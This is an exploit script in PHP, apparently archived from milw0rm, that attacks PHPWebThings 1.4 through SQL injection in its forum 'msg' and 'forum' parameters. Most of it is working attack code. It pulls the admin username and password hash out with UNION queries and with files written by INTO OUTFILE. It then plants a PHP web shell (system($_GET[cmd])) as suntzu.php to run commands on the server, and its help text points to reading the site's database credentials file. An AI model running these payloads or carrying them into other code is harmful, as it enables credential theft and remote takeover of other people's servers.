# PHPWebThings <= 1.4 (msg/forum) SQL Injection Exploit

<?php
#   ---phpwebth14_xpl.php                               10.47 16/11/2005       #
#                                                                              #
#     PHPWebThings 1.4 "msg" and "forum" SQL injection /  Administrative       #
#          credentials  disclosure and remote commands execution               #
#                                                                              #
#                              coded by rgod                                   #
#                    site: http://rgod.altervista.org                          #
#                                                                              #
#    based on http://secunia.com/advisories/17410/, but here we have a more    #
#    chritical injection in msg parameter that works with magic_quotes_gpc on) #
#                                                                              #
#  usage: launch from Apache, fill in requested fields, then go!               #
#                                                                              #
#  make these changes in php.ini if you have troubles                          #
#  with this script:                                                           #
#  allow_call_time_pass_reference = on                                         #
#  register_globals = on                                                       #
#                                                                              #
#  Sun-Tzu:"He wins his battles by making no mistakes.  Making no mistakes is  #
#  what establishes the certainty of victory, for it means conquering an enemy #
#  that is already defeated."

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'<html><head><title> PHPWebThings  1.4  "msg"  and  "forum"  SQL   injection
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
PHPWebThings  1.4  "msg"  and  "forum"  SQL   injection </p><p class="Stile6">a
script  by  rgod  at        <a href="http://rgod.altervista.org"target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%">  <form
name="form1"      method="post"   action="'.$SERVER[PHP_SELF].'?path=value&host=
value&port=value&proxy=value&action=value&fullpath=value&table_prefix=value"><p>
<input  type="text" name="host"><span class="Stile5"> * hostname (ex: www.sitena
me.com) </span> </p> <p>  <input type="text" name="path">  <span class="Stile5">
* path ( ex: /phpwebthings/  or just / ) </span></p> <p> <input      type="text"
name="action">   <span class="Stile5"> * action: HASH to see admin username  and
MD5 password hash, CMD to launch commands, PATH to disclose  full    application
path </span></p><p> <input   type="text" name="fullpath">  <span class="Stile5">
full path to www,  need  this for "INTO OUTFILE" statements (ex.: C:\\\www\\\sit
e\\\, /www/site/, or with backslashes from MySQL data directory: ../../www/site/
)</span></p><p><input type="text" name="command"> <span class="Stile5">  specify
a command, cat wt_config.php to see database username & password</span></p>  <p>
<input type="text" name="table_prefix"> <span class="Stile5"> specify  a   table
prefix other than the default (wt_)</span></p><p><input type="text" name="port">
<span class="Stile5">specify  a  port other  than  80 ( default  value ) </span>
</p> <p>  <input  type="text" name="proxy"> <span class="Stile5">  send  exploit
through an  HTTP proxy (ip:port)</span></p><p><input type="submit" name="Submit"
value="go!"></p></form> </td> </tr> </table></body></html>';


function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo "<td>&nbsp;&nbsp;</td>";
             for ($li=0; $li<=15; $li++)
                      { echo "<td>".$headeri[$li+$ki]."</td>";
			    }
            $ki=$ki+16;
            echo "</tr><tr>";
            }
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "<td>&nbsp&nbsp</td>";
                       }

for ($li=$ci*16; $li<=strlen($headeri); $li++)
                      { echo "<td>".$headeri[$li]."</td>";
			    }
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
		              //next function to send packets
{
  global $proxy, $host, $port, $packet, $html, $proxy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket < 0) {
                   echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
                   }
	      else
 		  {   $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo 'Not a valid prozy...';
                        die;
                       }
                    echo "OK.<br>";
                    echo "Attempting to connect to ".$host." on port ".$port."...<br>";
                    if ($proxy=='')
		   {
		     $result = socket_connect($socket, $host, $port);
		   }
		   else
		   {

		   $parts =explode(':',$proxy);
                   echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
		   $result = socket_connect($socket, $parts[0],$parts[1]);
		   }
		   if ($result < 0) {
                                     echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
                                    }
	                       else
		                    {
                                     echo "OK.<br><br>";
                                     $html= '';
                                     socket_write($socket, $packet, strlen($packet));
                                     echo "Reading response:<br>";
                                     while ($out= socket_read($socket, 2048)) {$html.=$out;}
                                     echo nl2br(htmlentities($html));
                                     echo "Closing socket...";
                                     socket_close($socket);

				    }
                  }
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
           {$ock=fsockopen(gethostbyname($host),$port);}
             else
           {
	   $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo 'Not a valid prozy...';
                        die;
                       }
	   $parts=explode(':',$proxy);
	    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
	    $ock=fsockopen($parts[0],$parts[1]);
	    if (!$ock) { echo 'No response from proxy...';
			die;
		       }
	   }
fputs($ock,$packet);
if ($proxy=='')
  {

    $html='';
    while (!feof($ock))
      {
        $html.=fgets($ock);
      }
  }
else
  {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
    {
      $html.=fread($ock,1);
    }
  }
fclose($ock);
echo nl2br(htmlentities($html));
}


if (($host<>'') and ($path<>'') and ($action<>''))
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($table_prefix=='') {$table_prefix="wt_";}
$action=strtoupper($action);
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$host=str_replace("\r\n","",$host);
$path=str_replace("\r\n","",$path);
$fullpath=str_replace("\r\n","",$fullpath);
$table_prefix=str_replace("\r\n","",$table_prefix);

if ($action=="HASH")
{
#STEP 1 - This works with magic_quotes_gpc both on or off (great... ;) ) and exploits the vulnerability in
#         [path_to_phpwb]/modules/forum/split.php
#STEP 1A -> Retrieve admin username from database...
$SQL="-999 UNION SELECT 0,0,0,0,0,name,0,0,0,0,0,0,0,0 FROM ".$table_prefix."users WHERE uid=1/*";
$SQL=urlencode($SQL);
$packet="GET ".$p."forum.php?act=split&msg=".$SQL."&forum=1 HTTP/1.1\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
$temp=explode('name="subname" value="',$html);
$temp2=explode('"',$temp[1]);
$NAME=$temp2[0];

#STEP 1B -> Retrieve MD5 admin password hash from database...
$SQL="-999 UNION SELECT 0,0,0,0,0,password,0,0,0,0,0,0,0,0 FROM ".$table_prefix."users WHERE uid=1/*";
$SQL=urlencode($SQL);
$packet="GET ".$p."forum.php?act=split&msg=".$SQL."&forum=1 HTTP/1.1\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
$temp=explode('name="subname" value="',$html);
$temp2=explode('"',$temp[1]);
$HASH=$temp2[0];

echo "NAME ->".htmlentities($NAME)."<br>";
echo "HASH ->".htmlentities($HASH)."<br>";

if ($HASH<>'') {echo "Exploit succeeded...";
                die;
                }
          else {echo "Exploit failed... trying next step...<BR>"; }

#STEP 2 -> Try blind injection and save data into output files... this works with magic quotes off
#          and exploits the vulnerability in [path_to_phpwb]/forum.php
#          we have only an int() as table value so we have to encode username and hash
#          as integers in a lot of files
#STEP 2A -> Retrieve admin username fro database...

if ($fullpath<>'')
{
for ($z=1; $z<=20; $z++)
{
$SQL='';
$SQL[$z]="-999 UNION SELECT ORD(SUBSTRING(name,".$z.",1)) INTO OUTFILE '".$fullpath."keepU".$z."'FROM ".$table_prefix."users WHERE uid=1";
$SQL[$z]=urlencode($SQL[$z]);
$packet="GET ".$p."forum.php?act=markread&forum=".$SQL[$z]." HTTP/1.1\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);

}

$NAME='';
for ($z=1; $z<=20; $z++)
{
$packet="GET ".$p."keepU".$z." HTTP/1.1\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (!eregi('200 OK',$html)) {break;}
$temp=explode(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html);
$temp2=explode(chr(0x0a),$temp[1]);
$NAME.=chr($temp2[0]);

}

#STEP 2B -> MD5 admin password hash from database...
for ($z=1; $z<=32; $z++)
{
$SQL='';
$SQL[$z]="-999 UNION SELECT ORD(SUBSTRING(password,".$z.",1)) INTO OUTFILE '".$fullpath."keep".$z."'FROM ".$table_prefix."users WHERE uid=1";
$SQL[$z]=urlencode($SQL[$z]);
$packet="GET ".$p."forum.php?act=markread&forum=".$SQL[$z]." HTTP/1.1\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);

}

$HASH='';
for ($z=1; $z<=32; $z++)
{
$packet="GET ".$p."keep".$z." HTTP/1.1\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (!eregi('200 OK',$html)) {break;}
$temp=explode(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html);
$temp2=explode(chr(0x0a),$temp[1]);
$HASH.=chr($temp2[0]);

}
echo "<br> NAME ->".htmlentities($NAME);
echo "<br> HASH ->".htmlentities($HASH);
}
else
{echo "<BR>You need to specify a full application path for STEP 2..."; die;}
}
else
if ($action=="CMD")
{
#STEP X -> Inject a shell, this works with magic_quotes_gpc off
#Note:     we could encode shell as an array of chars but
#          real problem is that you have to specify output filename literally
#          so you are forced to use quotes
#          you should specify a full path for shell.php
#ex:       /www/site/
#          c:\\www\\site\\ (this on windows)
#or with backslashes (from Mysql data directory):
#         ../../www/phpwebthings/
#you can disclose the path manually, ex:
#
#http://[target]/[path_to_phpwebthings/sideboxes/counter.php
#http://[target]/[path_to_phpwebthings/sideboxes/lastvisit.php
#if not specified we try to see theese urls...
if (($command<>'') and ($fullpath<>''))
{
$SHELL=":)<?php error_reporting(0);ini_set(\"max_execution_time\",0);system(\$_GET[cmd]);?>";
$SQL="-999 UNION SELECT 0,0,0,0,0,'".$SHELL."',0,0,0,0,0,0,0,0 INTO OUTFILE '".$fullpath."suntzu.php' FROM ".$table_prefix."users/*";
$SQL=urlencode($SQL);
$packet="GET ".$p."forum.php?act=split&msg=".$SQL."&forum=1 HTTP/1.1\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);

$packet="GET ".$p."suntzu.php?cmd=".urlencode($command)." HTTP/1.1\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi(':)',$html)) {echo "Exploit succeded...";}
                         else {echo "Exploit failed...";}
}
else {echo "Specify a command and full application path for CMD action..."; die;}
}
else
if ($action=="PATH")
{
$packet="GET ".$p."sideboxes/counter.php HTTP/1.1\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);

$packet="GET ".$p."sideboxes/lastvisit.php HTTP/1.1\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
}
else
{echo "Specify an action..."; }

}
else
{echo 'Specify * required fields, optionally specify a proxy...';}
?>

# milw0rm.com [2005-11-16]
